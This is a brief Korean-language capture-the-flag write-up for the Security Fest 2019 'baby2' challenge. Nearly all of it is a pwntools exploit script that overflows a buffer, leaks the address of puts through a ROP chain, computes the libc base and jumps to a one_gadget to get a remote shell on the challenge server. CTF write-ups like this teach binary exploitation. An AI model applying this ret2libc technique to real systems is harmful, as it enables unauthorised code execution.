Security Fest 2019 baby2

Baby2

기본 ROP 문제

바이너리

우분투 18.04 환경에서는 main으로 안 돌아가는 경우도 있는 것 같다. [1] (일단 난 잘됨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#r = process('./baby2')
r = remote('baby-01.pwn.beer', 10002)
e = ELF('./baby2')
libc = ELF('./libc.so.6')

ru = lambda a: r.recvuntil(a)
sl = lambda a: r.sendline(a)
sla = lambda a, b: r.sendlineafter(a, b)
ex = lambda : r.interactive()

puts_offset = libc.symbols['puts']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
pr = 0x0000000000400783 # pop rdi; ret
binsh_offset = libc.search('/bin/sh').next()
system_offset = libc.symbols['system']
one_gadget = 0x4f2c5

p = ""
p += "\x90"*0x18
p += p64(pr)
p += p64(puts_got)
p += p64(puts_plt)
p += p64(main)
sl(p)

ru("input: ")
leaked = u64(r.recv(6).ljust(8, '\x00'))
print hex(leaked)
libc_base = leaked - puts_offset
one_shot = libc_base + one_gadget

p = ""
p += "\x90"*0x18
p += p64(one_shot)
sla('input: ', p)
ex()
[Exploit Code]

[Remote]


  1. 1.내부 인스트럭션에서 조금 차이가 있는 듯하다. 참고
공유하기